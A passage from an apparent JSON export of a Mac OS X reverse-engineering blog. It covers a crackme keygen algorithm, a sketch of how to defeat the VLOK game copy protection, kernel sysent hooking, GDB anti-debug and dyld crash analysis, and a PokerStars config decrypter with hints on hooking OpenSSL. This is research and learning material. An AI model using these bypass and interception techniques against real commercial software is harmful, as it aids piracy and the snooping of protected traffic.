nasty tricks. Now that looks like a challenge and I love challenges! If you think this is a spoiler then stop reading and come back in a week or so. There is no solution for the challenge; I’m more interested in the “nasty” trick used and why the tools are failing. And I don’t need the Challenge itself to analyse this behavior since I can reproduce it with own code.","title":"GDB anti-debug, Otool/otx anti-disassembly… It’s Challenge number 3 !!!"},{"content":"The MBA is over and I’m enjoying my vacations to clear stuff from the Todo list, to read books, to play some games and to do other stuff.\nToday the MacSerialJunkies contest started and I decided to give it a go. It’s a very simple crackme with a small twist where you have to bruteforce a MD5 string. I had reversed the serial routine and was starting the bruteforce without thinking much about it (first attempts were by searching online MD5 hashes databases for the correspondent plaintext but no such luck). It was taking too much time and so it was a moment to start using the brain and less bruteforce (which is always the first thing we should do when dealing with bruteforces, although the maximum length of 6 digits instantaneously made me lazy on this). Paying attention to the serial routine, I noticed that everything was uppercase so this was a real hint to reduce the character set. With this new information I reloaded the bruteforcer, set it to A-Z and 0-9 plus – and 4 minutes after there was the magic string KRACK-.\nThe algorithm is like this:\nFirst six digits equal to KRACK- Compute the MD5 hash for the Name and use the first 7 digits for the serial number 14th character always equals to F 15th and 16th chars always equal to B and C Good serial length equal to 16 chars. My test name was fG and test serial 654321abcdef, and the correspondent valid serial number is KRACK-1D2BFC1FBC. A briefly commented analysis of just the algorithm is here: MSJ10-Challenge1-SerialAlgo.txt (the rest doesn’t matter, pretty normal stuff). Now you can have fun doing a small keygen for this since it should be pretty simple – just use OpenSSL libraries. For the bruteforce, just use one of the available utilities for Unix or Windows.\nHave fun,\nfG!\nUpdate:\nLocal copy of this crackme: Pie.zip\n(SHA1(Pie.zip)= 50930794ef1fbd8fe72dfbb1fa5aba50b799d460)\nUpdate 2:\nI was just bored into the night and decided to take the dust off XCode and my lazy C skills and create the keygen (pretty simple 5 mins dirty code). Maybe it’s time to start coding in Objective-C and code nice GUI keygens.\nmsj10-challenge1-keygen.c\nSHA1(msj10-challenge1-keygen.c)= 266d8184b82803ef4d6cac79375880ba637a3a89\n","permalink":"https://reverse.put.as/2010/08/02/how-to-keygen-msj-kracking-challenge-10-challenge-1/","summary":"The MBA is over and I’m enjoying my vacations to clear stuff from the Todo list, to read books, to play some games and to do other stuff.\nToday the MacSerialJunkies contest started and I decided to give it a go. It’s a very simple crackme with a small twist where you have to bruteforce a MD5 string. I had reversed the serial routine and was starting the bruteforce without thinking much about it (first attempts were by searching online MD5 hashes databases for the correspondent plaintext but no such luck).","title":"How to Keygen MSJ Kracking Challenge ’10 – Challenge #1"},{"content":"Hi!\nI just updated the crackmes with #5 from MSJ challenge and added a new tool for encrypting/decrypting apple encrypted binaries. I had planned to do this tool but it’s great that someone did it first! It’s good to see people developing tools for OS X, even if they are very simple. Thank you to the author and to the guy who pointed me to it and sent the crackme 😉.\nMy free time is back to very restricted and so I have been advancing very slowly on some projects. I have yet to fix Onyx to 64 bit and to release an update to ptool (fixed some bugs, added more output information, and added a simple option to modify the entrypoint).\nAnyway, if you find more tools and crackmes feel free to send them to me. I love to collect this stuff and I can centralize that information (no monetary reasons since I don’t have any banners. Btw the original url for the encryptor/decryptor is this.\nAs usual, have fun! Keep learning but don’t spread your cracks 😉.\nfG!\n","permalink":"https://reverse.put.as/2010/06/08/very-small-update/","summary":"Hi!\nI just updated the crackmes with #5 from MSJ challenge and added a new tool for encrypting/decrypting apple encrypted binaries. I had planned to do this tool but it’s great that someone did it first! It’s good to see people developing tools for OS X, even if they are very simple. Thank you to the author and to the guy who pointed me to it and sent the crackme 😉.","title":"Very small update..."},{"content":"I had this one working for a long time but I hadn’t released it because I was trying to hijack fork and vfork calls. My objective was to introduce an int3 so I could attach the debugger to a selected process. At that time I suspected that VLOK was forking and I couldn’t debug the new process since follow on fork GDB function isn’t implemented in OS X (so this looks like a good idea for a protection 😉). My idea was to inject an int3 or pause the new process so I could attach another GDB instance to it. Those attempts failed and one of these days I need to get back to the problem and think better about it (if you have a solution for how to do it in the kernel module feel free to contribute).\nThe method to grab sysent address changed again in Snow Leopard and for now there is an hardcoded address. The method is to find nsysent address (nm /mach_kernel | grep nsysent) and then subtract 0x2850 from it. Matthie Suiche described a method in the paper \u0026ldquo;ADVANCED MAC OS X PHYSICAL MEMORY ANALYSIS\u0026rdquo;.\nUnder Mac OS X Snow Leopard (10.6), we have to proceed with a different methodology. First, we have to retrieve the value of nsysent variable, then we multiply its value with the size of sysent structure, and then we subtract this value to nsysent offset to obtain the offset of sysent table.\nI would prefer a more elegant solution to this 😄.\nThe structures had to change and more stuff had to be ripped off from XNU kernel headers. They are still incomplete but what is there is enough for current purposes.\nHere it is:\nonyx-the-black-cat-v0.4.tgz\n(SHA1(onyx-the-black-cat-v0.4.tgz)= 5dff3c4a9246f2886b470aa0ab60b5e237ca3659)\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2010/05/24/onyx-the-black-cat-v0-4-for-snow-leopard/","summary":"I had this one working for a long time but I hadn’t released it because I was trying to hijack fork and vfork calls. My objective was to introduce an int3 so I could attach the debugger to a selected process. At that time I suspected that VLOK was forking and I couldn’t debug the new process since follow on fork GDB function isn’t implemented in OS X (so this looks like a good idea for a protection 😉).","title":"Onyx the Black Cat v0.4 for Snow Leopard"},{"content":"Hello,\nI have just added a page to collect crackmes for OS X. I have added the ones that I already had and some recommended from user comments. Since corruptfire.com seems down I cannot retrieve the other ones they had.\nIf you have more crackmes please mail them to me so I can add them to the page. It would be nice to start having more crackmes developed for OS X.\nfG!\n","permalink":"https://reverse.put.as/2010/05/21/os-x-crackmes/","summary":"Hello,\nI have just added a page to collect crackmes for OS X. I have added the ones that I already had and some recommended from user comments. Since corruptfire.com seems down I cannot retrieve the other ones they had.\nIf you have more crackmes please mail them to me so I can add them to the page. It would be nice to start having more crackmes developed for OS X.","title":"OS X Crackmes"},{"content":"I was bored and decided to fix gdbinit to support 64 bit binaries. I had tried it before but the solution was a piece of crap (not that this one is much better). I was testing the registers to see if the binary was 32 or 64 bit. Now there is a default setting to 32 bit (change it if you want to default to 64 bit) and two commands, 32bits and 64bits to change between the two types of targets. If you have 32 bit by default and debug a 64 bit target, the first time GDB breaks you will get an error; just issue the 64bits command to change and you can issue the context command to get the correct display and continue your debug session. I remember I couldn’t find a better way to detect the type of binary inside gdbinit, since there’s no support for regex and all that kind of tools. If you have an elegant method feel free to tell me about or patch this version and send it back.\nI have patched too the 64 bit mode to have available the 32 and 16 bit registers versions. The Objective-C messages display and the stepo command still need to be fixed to 64 bit. The calls are different in 64 bit so I need to rework that part. Everything else seems to be working. Please report if not.\nCan’t remember anything else to say about this one.\nAs usual, have fun!\nfG!\nGrab it here:\ngdbinit73\n(SHA1(gdbinit73)= c4da85f3ba6e8cfa311fb63c2ab5d606df6b837c)\nThe latest version can always be found here.\n","permalink":"https://reverse.put.as/2010/04/16/gdbinit-v7-3/","summary":"I was bored and decided to fix gdbinit to support 64 bit binaries. I had tried it before but the solution was a piece of crap (not that this one is much better). I was testing the registers to see if the binary was 32 or 64 bit. Now there is a default setting to 32 bit (change it if you want to default to 64 bit) and two commands, 32bits and 64bits to change between the two types of targets.","title":"gdbinit v7.3"},{"content":"I have been thinking about this and how to get this blog back to life. My free time has been almost zero but I miss the motivation to put my brain to tinker and create new things to publish, because reversing and everything around it sometimes is a great relaxing activity for me.\nThe last couple of days I had to revisit one of my favourite books ever, where it is written that \u0026ldquo;DO NOT COVET YOUR IDEAS: Give away everything you know, and more will come back to you.\u0026rdquo;. This was my original spirit and I miss it, even if the world is full of idiots who just want personal profit.\nSince I don’t have so much time and I always wanted others to contribute, I’m searching for people who want to contribute and have a writing place at this blog. If people really miss this and find it a source of knowledge and value then they should contribute to it because it’s the only way to advance OS X reversing knowledge. Drop me an email so we can talk about it, if you are interested.\nThe new format will not have anything related to cracking and reversing protections, unless it’s about very specific bits that are really important and advance the general knowledge. I want to focus more on tools and new tricks, malware, packers and all that stuff. I know it will always have some impact into the protections world but if idiots want to release stuff then it is their problem. The latest news about a global treaty for copyright protections and infrigements should change the game.\nSo let’s see if this can go forward or not. If yes then I will get all the content back (non cracking related) and do my best to get this ship sailing once again.\nfG!\n","permalink":"https://reverse.put.as/2010/04/09/reverse-put-as-is-back-in-a-new-format/","summary":"I have been thinking about this and how to get this blog back to life. My free time has been almost zero but I miss the motivation to put my brain to tinker and create new things to publish, because reversing and everything around it sometimes is a great relaxing activity for me.\nThe last couple of days I had to revisit one of my favourite books ever, where it is written that \u0026ldquo;DO NOT COVET YOUR IDEAS: Give away everything you know, and more will come back to you.","title":"reverse.put.as is back in a new format..."},{"content":"I just finished my brief analysis on this protection and I have a very macro view about it and how to break it. If my gut is correct (if you have read Blink! you will trust your gut most of the times, if not go read it since it’s a great book) I can decrypt and run any game so I will not publish any detailed information about it.\nThe protection is based on a keyfile that is sent to you after you register online. This keyfile has two checksums and a encryption key. The encryption key will be used to decrypt the main binary, since the unencrypted part is just responsible for verifying if licence file is correct, launch the registration program if not and decrypt if there is a valid key. After the binary is decrypted, it is launched via what seems to be dynamic loading via the linker (sort of something like this). If the bytes are wrong then you get a beautiful crash. The only anti-debug I found was our ubiquous PT_DENY_ATTACH with a small obfuscation. There is some little more obfuscation (I would be tempted to call it pseudo-obfuscation) for some used syscalls that it’s very easy to solve and eliminate with the useful rename function in IDA. It’s very easy to understand the algorithm for the licence file name, but there’s no big interest here since each product will have an unique but single name for everyone. There is some suspicious int 3 in the code where I lost some time but it doesn’t seem to play anything significant.\nIn terms of flaws that helped me to understand what was happening we have:\nIt is very easy to find which hash algorithm is used. My first macro analysis flagged that routine as generating some checksum and today a more detailed analysis allowed to understand it. The problem is that the algorithm magic value isn’t protected or obfuscated, so it was very easy to use Google to find the algorithm name. Many people told this and I will repeate, never leave keys or magic values in clear because that will make things much easier.\nThe same mistake happens with the decryption algorithm. I have a strong hint about which one is it because there are some magic values left in clear.\nAfter having the correct key, I think it’s very easy to finish the job. I don’t think the encrypted part is packed so it would be just a matter of decrypt and replace and nop the keyfile routines (I doubt entrypoint could be changed because the way that code is called). If there is a single decryption key then every product can be unpacked and it’s game over :-). If the company was careful then each product would have a single key, making things a bit more annoying. I’m not sure how easy it would be to bruteforce the key – that would require some deeper analysis, but there is an even easier way to get the key. Games cost around 20 euros so it’s a cheap attack, especially if there is a single decryption key. So in economic terms the protection has a very low barrier to entry rendering it ineffective. I’m not sure if the keyfile is personalized since there is some magic in between, but I doubt it is because of the decryption. So with more or less effort and a few less euros I can declare this as game over 😄 (unless my analysis is soooooo wrong, which of course it could happen hehehe). It was fun but it doesn’t seem to have much more juice to give. If you manage to complete the job, please don’t distribute it and keep it for yourself.\nAnd that’s it for now. I’m a little bored with the amount of work that is required to write an hex editor (more specific a mach-o editor) and so I think I’m going to read something about business strategy to prepare the new MBA term (I really need a code slave to implement my ideas!).\nHave fun,\nfG!\nP.S: Two interesting links:\nhttp://blog.reversinglabs.com/ – interesting stuff although Windows centered but you can always learn from it (and Titan Engine seems cool!!!)\nhttp://www.bureau14.fr/blogea/2010/01/security-through-deception/ – deception in copy protection designs (there are already articles and recommendations about this and software that uses it, just a note for any one interested in implementing copy protections)\n","permalink":"https://reverse.put.as/2010/01/06/brief-analysis-of-the-vlok-protection/","summary":"I just finished my brief analysis on this protection and I have a very macro view about it and how to break it. If my gut is correct (if you have read Blink! you will trust your gut most of the times, if not go read it since it’s a great book) I can decrypt and run any game so I will not publish any detailed information about it.\nThe protection is based on a keyfile that is sent to you after you register online.","title":"Brief analysis of the VLOK protection"},{"content":"For a long time I have been annoyed by the information displayed by otool -l because it mixes hexadecimal with decimal information. For example, offsets are displayed in decimal and relative to the CPU architecture in the fat binary. So I had to convert and calculate things by hand everytime I wanted to peek or modify something at the hex editor. HTE allows to see this information and even edit it, but it doesn’t support fat binaries (and I have to start it under iTerm to support the keyboard shortcuts – I didn’t want to waste time researching to get it to work with Terminal.app).\nThen a reader sent me a new protection (a packer) and I started having some fun with it and again I needed a tool to display all the offsets so I could try some crazy approach to the target. Since I’m on short vacations from the MBA and I miss the adrenalin of having all my time occupied I rewrote otool -l option in Perl (yeah lots of free time to reinvent the wheel and learn something ehehheh). So ptool.pl is born. It will process x86, x86_64 and PPC binaries and dump all the information from the mach-o header, together with the correct offset location inside the binary. This way it is very easy to navigate inside the hex editor.\nI’m thinking about converting it into a full mach-o editor using Perl+ncurses. I would love to have a nice GUI in Cocoa but I don’t have time to mess with Objective-C for now (and I suck at object-oriented languages, more than other languages). I’m thinking too to modify otool and fix that damn display and add some other features, like disassembling any chosen offset of the binary file (it’s helpful some times and it would remove the need for an external disassembler like this one – my idea is to integrate it into otool or use otool own disassembler). It will depend on time and motivation. I can’t reverse the protection if I take all the time to write and fix tools.\nSo here it is version 1.0 of ptool: ptool1.0.zip\n(SHA1(ptool1.0.zip)= be754c87fcfbd4ee43d47aeba197a1f20c81e296)\nIf you find any bug or have any suggestion feel free to leave a comment or email.\nBtw, the target protection is called VLOK and is available here (updates are protected so you can use them as targets). I’m not thinking about publishing full details and code but a general analysis and description of the tricks and its design. I still believe in full disclosure but the legal and business sides are more complex and the world isn’t always as we want (all that and a 500 pages book on Business Ethics that I had to read for an exam). And what’s the fun of having everything cooked for you? If you want to learn you have to think and practice!\nHave fun!\nfG!\nUpdate:\nIf you want to recompile otool you need to follow the gdb guide and then do the following:\nPackage name is cctools First use darwinbuild -nochroot cctools Compilation should fail with some include errors Edit the following files:\nBuild10C540/BuildRoot/SourceCache/cctools/cctools-750/Makefile, search for -DTRIE_SUPPORT and remove it (you can leave echo \u0026ldquo;\u0026rdquo;)\nBuild10C540/BuildRoot/SourceCache/cctools/cctools-750/misc/Makefile and remove the options for LTO and TRIE\nBuild10C540/BuildRoot/SourceCache/cctools/cctools-750/libstuff/Makefile and remove the options for LTO Recompile again, this time with darwinbuild -nochroot -nosource cctools Wait and enjoy the recompiled otool. Now you can modify its source code 😃. otool seems to work fine without those includes so hell with them! ","permalink":"https://reverse.put.as/2010/01/05/a-new-util-to-process-mach-o-binaries-information-or-a-replacement-to-otool-l/","summary":"For a long time I have been annoyed by the information displayed by otool -l because it mixes hexadecimal with decimal information. For example, offsets are displayed in decimal and relative to the CPU architecture in the fat binary. So I had to convert and calculate things by hand everytime I wanted to peek or modify something at the hex editor. HTE allows to see this information and even edit it, but it doesn’t support fat binaries (and I have to start it under iTerm to support the keyboard shortcuts – I didn’t want to waste time researching to get it to work with Terminal.","title":"A new util to process Mach-O binaries information (or a replacement to otool -l)"},{"content":"November was a pretty busy month with exams and assignments to be delivered. I have been having a lot of fun with the MBA since analysing financial statements is some kind of reverse engineering and I missed Economics stuff (I have a undergraduate degree in Economics). I really like to go outside the box for some time to gain new perspectives.\nSince the 1st term is finished, I decided to finally upgrade to Snow Leopard. I was waiting to upgrade my MacBook to a WD Scorpio Black harddisk but I couldn’t buy it for the past 2 months so I decided to buy a Seagate Momentus 7200.4 and I can tell you it’s fantastic. You really see the difference from a 5400rpm to a 7200rpm harddisk in a laptop, and Snow Leopard is a great upgrade too. So with a new operating system it’s time to migrate everything and setup the reverse engineering environment and tools.\nFollowing this, I just upgraded the GDB compile tutorial to support Snow Leopard. It’s available here. I made some things more explicit and explain how to solve a problem with libiconv. The next thing is to find how to have gdbinit to support the 64bit registers in a single file.\nThat’s it for now. Things are quieter for now, but not dead! So, I wish you a happy new year! Have fun in 2010!!!\nfG!\n","permalink":"https://reverse.put.as/2009/12/26/happy-new-year-and-a-small-christmas-gift/","summary":"November was a pretty busy month with exams and assignments to be delivered. I have been having a lot of fun with the MBA since analysing financial statements is some kind of reverse engineering and I missed Economics stuff (I have a undergraduate degree in Economics). I really like to go outside the box for some time to gain new perspectives.\nSince the 1st term is finished, I decided to finally upgrade to Snow Leopard.","title":"Happy new year and a small christmas gift!"},{"content":"Some folks were complaining about problems with otx and Snow Leopard so I decided to boot my Snow Leopard install and give it a try\u0026hellip;\nWell they were right since Snow Leopard compiles 64 bit binaries by default. otx v0.16b seems to have problems so you will need to download from the SVN and compile yourself the most recent version. If you try to follow the tutorial you will have problems because you will have 64 bit registers (rax instead eax, for example) so you need to adapt the tutorial.\nHere is a short list of problems that I was able to quickly identify:\notx doesn’t support x86_64 binaries. Download latest version from the SVN. gdbinit doesn’t work with x86_64 binaries. Need to update its code to support 64 bit registers. Onyx the black cat and rootkits don’t work. nsysent location was moved, this article explains how to find it (nice thing, less work for me!). hummm I had something else but I just forgot 😃. I will try to update the tools and texts to this new \u0026ldquo;world\u0026rdquo;. Meanwhile, if you are quicker than me and do it first then feel free to send it to me so I can publish them.\nThat’s it for now. Have fun!\nfG!\nUpdate:\nYou can always use the -m32 option to gcc to compile 32 bit binaries.\n","permalink":"https://reverse.put.as/2009/10/29/snow-leopard-impact-into-reverse-engineering-world/","summary":"Some folks were complaining about problems with otx and Snow Leopard so I decided to boot my Snow Leopard install and give it a try\u0026hellip;\nWell they were right since Snow Leopard compiles 64 bit binaries by default. otx v0.16b seems to have problems so you will need to download from the SVN and compile yourself the most recent version. If you try to follow the tutorial you will have problems because you will have 64 bit registers (rax instead eax, for example) so you need to adapt the tutorial.","title":"Snow Leopard impact into reverse engineering world..."},{"content":"Things have been very quiet since the beginning of September\u0026hellip; Well my MBA has started and my free time until now has been ZERO! It has been a fun but very busy ride and comeback to the world of economics. The first weeks are recruit like, pretty intensive with many assignments to be delivered. The recruit is now over and I should have more free time for playing again with reversing 😄.\nI just finished a small update to gdbinit. There were some bugs at the function that signaled conditional jumps so I revised it and everything should be fine now. The other thing that I have added was support for 8 and 16 bit versions of EAX,EBX,ECX,EDX registers. I don’t know why but GDB doesn’t have them and as usual I like to make things easier. So you can just use print or x/x to display $ax,$bx,$cx,$dx, $ah,$al, etc.\nThe next thing to update is Onyx for Snow Leopard. I just gave a very quick look at Snow Leopard source and at least proc structure is modified (some small additions). I have to check if the trick still works.\nWell that should be everything for now\u0026hellip; Gotta get back to my readings (well at least this one is about Information Systems).\nHave fun!\nfG!\ngdbinit72\n(SHA1(gdbinit72)= cbd9c528e1730978563be2c26e2cd79d2ccdc925)\nThe latest version can always be found here.\n","permalink":"https://reverse.put.as/2009/10/11/small-gdbinit-update/","summary":"Things have been very quiet since the beginning of September\u0026hellip; Well my MBA has started and my free time until now has been ZERO! It has been a fun but very busy ride and comeback to the world of economics. The first weeks are recruit like, pretty intensive with many assignments to be delivered. The recruit is now over and I should have more free time for playing again with reversing 😄.","title":"Small gdbinit update..."},{"content":"Here you have the patches I did for GDB:\nTo fix problem with gdbinit To display raw bytes in x/i and disassemble commands To warn about possible number of sections anti-debug trick You can download a single patch for all changes or one for each individual change. A patched GDB binary for Intel only is available, if you trust my binaries (copy to /usr/libexec/gdb). PHP max upload size doesn’t let me add the patched source package (can’t change it due to its impact on others).\nI removed symbolic name printing from the x/i command because I couldn’t find an easy workaround to have all the output aligned. GDB table system has problems and it doesn’t work well with large columns. Nevertheless the symbolic name (when available) is printed everytime breakpoint is hit and if you really need it, you can use the disassemble command to see where you are (not removed there).\nThe anti-debug patch just warns about the possible trick. Unless dyld bug is fixed there’s no much interest in automatically fixing the headers. If you want to test it, you can use HT Editor to easily modify the nsects. Keep in mind that HTE only supports non-fat binaries!\nThis is how it looks:\nHave fun,\nfG!\nFiles:\nall_patches.patch\nSHA1(all_patches.patch)= 74ee59cc213202d2d99c11ca8cde841890a7c7b6\nnumber_sects_anti_debug.patch\nSHA1(number_sects_anti_debug.patch)= 628498adc71b91447ba8860cec3829acf0eb7f46\ngdbinit_problem.patch\nSHA1(gdbinit_problem.patch)= efd8ab19d2675d601f02aa7f3b7ca21a9bee7704\nshow_raw_bytes.patch\nSHA1(show_raw_bytes.patch)= 6ba57a401c1d3c0f6d7b31743da79ec63603752e\ngdb-i386-apple-darwin.bz2\nSHA1(gdb-i386-apple-darwin.bz2)= 4ce058eb26639bba0ab9974ace27adeeef446905\nIf you put the patch inside gdb-768 dir you might want to use -p2 option for patch (the diffs came out of my hg repository).\n","permalink":"https://reverse.put.as/2009/08/26/gdb-patches/","summary":"Here you have the patches I did for GDB:\nTo fix problem with gdbinit To display raw bytes in x/i and disassemble commands To warn about possible number of sections anti-debug trick You can download a single patch for all changes or one for each individual change. A patched GDB binary for Intel only is available, if you trust my binaries (copy to /usr/libexec/gdb). PHP max upload size doesn’t let me add the patched source package (can’t change it due to its impact on others).","title":"GDB patches"},{"content":"After having found the source of the GDB anti-debug trick, I started modifying GDB to work around the problem and fix the number of sections on the fly (it’s simple to calculate the real number of sections). I was coding on a long train trip and everything was going great\u0026hellip; My hack worked and GDB fixed and loaded the file without a problem. Next step was to run the program but when I tried I had this surprise:\ngdb$ r Program received signal EXC_BAD_ACCESS, Could not access memory. Reason: KERN_INVALID_ADDRESS at address: 0x00005040 0x8fe146d8 in __dyld__ZN16ImageLoaderMachO13parseLoadCmdsEv () --------------------------------------------------------------------------[regs] EAX: 00005008 EBX: 8FE143C1 ECX: 44001048 EDX: 00000000 o d I t s z a p c ESI: 00001054 EDI: 00000001 EBP: BFFFE0C8 ESP: BFFFE060 EIP: 8FE146D8 CS: 0017 DS: 001F ES: 001F FS: 0000 GS: 0037 SS: 001F --------------------------------------------------------------------------[code] 0x8fe146d8: 0f b6 50 38 movzx edx,BYTE PTR [eax+0x38] 0x8fe146dc: 80 fa 09 cmp dl,0x9 0x8fe146df: 75 e2 jne 0x8fe146c3 0x8fe146e1: 8b 55 08 mov edx,DWORD PTR [ebp+0x8] 0x8fe146e4: 81 4a 74 00 80 00 00 or DWORD PTR [edx+0x74],0x8000 0x8fe146eb: eb e0 jmp 0x8fe146cd 0x8fe146ed: 8b 55 08 mov edx,DWORD PTR [ebp+0x8] 0x8fe146f0: 81 4a 74 00 08 00 00 or DWORD PTR [edx+0x74],0x800 -------------------------------------------------------------------------------- Holy crap! I must have goofed somewhere in my code. This ocurred due to the fact that I had never tried to run the program while I was debugging the problem and modifying GDB so it was natural to think it was my problem (I didn’t even bothered to look to the function name that gave the error! duh 😉). Gave a quick review into the code and it seemed ok since it was a simple modification. Tried to run the program outside GDB and voila, the real problem shown itself.\nAfter some tests, the conclusion was that the problem ocurred for most values except 0xFFFFFFFF (else the trick wouldn’t work). I downloaded dyld source code but I couldn’t find where the crash was located. Train arrived to destination, weekend time and in the next week I had to finish some documentation since I’m leaving my current job and joining a MBA program. Today I was bored and decided to get back to the problem. After disassembling dyld, setting a breakpoint at ImageLoaderMachO::parseLoadCmds and tracing, I finally found the interesting piece of code:\n8fe146a1 8b5630 movl 0x30(%esi),%edx \u0026lt;- code for case LC_SEGMENT_COMMAND 8fe146a4 8d4638 leal 0x38(%esi),%eax 8fe146a7 89d1 movl %edx,%ecx 8fe146a9 c1e106 shll $0x06,%ecx 8fe146ac 8d1491 leal (%ecx,%edx,4),%edx 8fe146af 8d0c10 leal (%eax,%edx),%ecx 8fe146b2 39c8 cmpl %ecx,%eax \u0026lt;- for condition sect \u0026lt; sectionsEnd 8fe146b4 0f8336ffffff jael 0x8fe145f0 8fe146ba 0fb65038 movzbl 0x38(%eax),%edx 8fe146be 80fa09 cmpb $0x09,%dl \u0026lt;- if ( type == S_MOD_INIT_FUNC_POINTERS ) 8fe146c1 741e je 0x8fe146e1 8fe146c3 80fa0a cmpb $0x0a,%dl \u0026lt;- else if ( type == S_MOD_TERM_FUNC_POINTERS ) 8fe146c6 7434 je 0x8fe146fc 8fe146c8 80fa0f cmpb $0x0f,%dl \u0026lt;- else if ( type == S_DTRACE_DOF ) 8fe146cb 7457 je 0x8fe14724 8fe146cd 83c044 addl $0x44,%eax \u0026lt;- ++sect 8fe146d0 39c1 cmpl %eax,%ecx \u0026lt;- for condition sect \u0026lt; sectionsEnd 8fe146d2 0f8618ffffff jbel 0x8fe145f0 8fe146d8 0fb65038 movzbl 0x38(%eax),%edx \u0026lt;- CRASH HERE (...) Where the original source code is:\ncase LC_SEGMENT_COMMAND: { const struct macho_segment_command* seg = (struct macho_segment_command*)cmd; #if IMAGE_NOTIFY_SUPPORT const bool isDataSeg = (strcmp(seg-\u0026gt;segname, \u0026#34;__DATA\u0026#34;) == 0); #endif const struct macho_section* const sectionsStart= (struct macho_section*)((char*)seg + sizeof(struct macho_segment_command)); const struct macho_section* const sectionsEnd = \u0026amp;sectionsStart[seg-\u0026gt;nsects]; for (const struct macho_section* sect=sectionsStart; sect \u0026lt; sectionsEnd; ++sect) { const uint8_t type = sect-\u0026gt;flags \u0026amp; SECTION_TYPE; if ( type == S_MOD_INIT_FUNC_POINTERS ) fHasInitializers = true; else if ( type == S_MOD_TERM_FUNC_POINTERS ) fHasTerminators = true; else if ( type == S_DTRACE_DOF ) fHasDOFSections = true; #if IMAGE_NOTIFY_SUPPORT else if ( isDataSeg \u0026amp;\u0026amp; (strcmp(sect-\u0026gt;sectname, \u0026#34;__image_notify\u0026#34;) == 0) ) fHasImageNotifySection = true; #endif } } break; ecx holds the value of sectionsEnd and the number of sections described in the header affects its value, because sectionsEnd = \u0026amp;sectionsStart[seg-\u0026gt;nsects]. dyld suffers from a similar problem to GDB, because it trusts the header information without any further check. One small thing was left to explain\u0026hellip; Why 0xFFFFFFFF works? By setting a breakpoint at 0x8fe146b2 it’s very easy to see why! If nsects is 0x00FFFFFF then ecx=44001048, if nsects is 0x0FFFFFFF then ecx=40001048, if nsects is 0xFFFFFFFF then ecx=00001048. So 0xFFFFFFFF overflows sectionsEnd and that’s why the tricks works for that value!\nUnless Apple fixes this dyld bug (maybe I should report it) there’s no much sense in fixing GDB except to produce a warning about a possible usage of that anti-debug trick. The bug itself is pretty easy to fix in GDB, dyld and other programs (HT Editor, IDA, etc) because the real number of sections can be calcuted using the cmdsize field from the load command. It’s not possible to play tricks with this field (I did a few tests and it doesn’t work) so it must be a reliable value.\nI think I can finally close this bug hunt! It was fun. Only thing left is to release the patches I did for GDB. I must finish the fixes to other read commands and then I will publish them.\nThat’s all for now folks!\nfG!\n","permalink":"https://reverse.put.as/2009/08/26/anatomy-of-a-gdb-anti-debug-trick-part-ii-gdb-isnt-alone/","summary":"After having found the source of the GDB anti-debug trick, I started modifying GDB to work around the problem and fix the number of sections on the fly (it’s simple to calculate the real number of sections). I was coding on a long train trip and everything was going great\u0026hellip; My hack worked and GDB fixed and loaded the file without a problem. Next step was to run the program but when I tried I had this surprise:","title":"Anatomy of a GDB anti-debug trick part II: GDB isn’t alone!"},{"content":"Today I bring you something from the old projects trunk. Like many other millions of people I enjoy playing online Texas Hold’em Poker. I started with Pokerstars three years ago, and after a while, diabolical ideas came to my head about reversing the client to have a peek into their communication protocol (what else were you expecting? I love to break things!).\nThe project was on hold for a long time (started when Windows was my daily OS). Today, I had a smile when I saw an article about reversing pokerstars protocol. It’s entitled Reversing The Pokerstars Protocol, Part 1: Compression and transport basics. The author already implemented the MITM proxy, the step where I stopped. I did had a peek at the communications protocol since it’s pretty easy to hijack the code before it’s crypted and after it’s decrypted (Windows browser trojans and keyloggers use that technique). I even remember that I was about to hijack the OpenSSL library because the first versions of the Mac client were linked against the external OpenSSL library, so it was trivial for example to recompile OpenSSL with a printf dumping everything. This hole was closed on newer versions but it’s still very easy to attach the debugger and it should be even easier with Dtrace (haven’t tried yet!). It’s much easier to hijack the data before it’s crypted then to code the MITM proxy and reverse the compression and so on.\nSince someone gave the first public step I will release a rather useless piece of code that allows you to crypt and decrypt the ini files. The algorithm is still the same since 2006 and it works in Windows and Mac. It’s pretty easy to reverse! The ini files are gzipped, so you first decrypt and then gunzip or you gzip and then crypt. There’s not much info to peek inside the ini files but it might be useful in the future. Maybe one day I will get back to it\u0026hellip; I would love to find any vulnerabilities into their protocols!\nI hope the Vegas guys don’t come after me (yeahhh too much Vegas movies, damn American movies hehehe).\nThe GDB bug from previous post is still not over! The dynamic linker, dyld, has problems and it crashes with some values. I didn’t spot this one on time for the post because I wasn’t executing my test program, just loading into GDB so I could track the bug. I’m trying to track the bug inside dyld (this is when it’s great to have open source code by Apple).\nThat’s it!\nfG!\nPokerstars_decrypter.c\nSHA1(Decrypter.c)= dd0ebc2e75f512710f9f992048254bb012af5824\nPokerstars_crypter.c\nSHA1(Crypter.c)= a3ae440b6b78a50bd73ac446b51a626206405d6f\n","permalink":"https://reverse.put.as/2009/08/20/reversing-pokerstars-online-poker-client-i-hope-they-arent-from-vegas/","summary":"Today I bring you something from the old projects trunk. Like many other millions of people I enjoy playing online Texas Hold’em Poker. I started with Pokerstars three years ago, and after a while, diabolical ideas came to my head about reversing the client to have a peek into their communication protocol (what else were you expecting? I love to break things!).\nThe project was on hold for a long time (started when Windows was my daily OS).","title":"Reversing Pokerstars online poker client (I hope they aren’t from Vegas !!!)"},{"content":"Well, it seems this is the GDB post season! The past days have been dedicated to mess around with GDB source code and today I have what I think it’s a nice story to tell.\nAfter hacking off my old wish of having the disassembly raw bytes to be printed (like Ollydbg, Softice, IDA, otx, etc\u0026hellip;) I was interested in trying to fix one anti-debug trick. This presentation by nemo shows an anti-debug trick that works against GDB and others. The original description is: If you set the \u0026ldquo;number of sections\u0026rdquo; field in a SEGMENT_COMMAND to 0xffffffff many of the popular debuggers will crash. This bug exists in GDB, IDA Pro and the HTE hex editor.\nArmed with my great reversing skills and my lame C skills I started searching for the problem\u0026hellip; Oh man have I told you that GDB code is a nightmare? Probably I did! It’s a freaking nightmare\u0026hellip;\nThis is what happens when I modified the number of sections at __TEXT segment (any segment does the trick):\n$ gdb ./segment_command_number_of_sections_antidebug GNU gdb 6.3.50-20050815 (Apple version gdb-768) (Thu Aug 13 13:17:30 UTC 2009) Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type \u0026#34;show copying\u0026#34; to see the conditions. There is absolutely no warranty for GDB. Type \u0026#34;show warranty\u0026#34; for details. This GDB was configured as 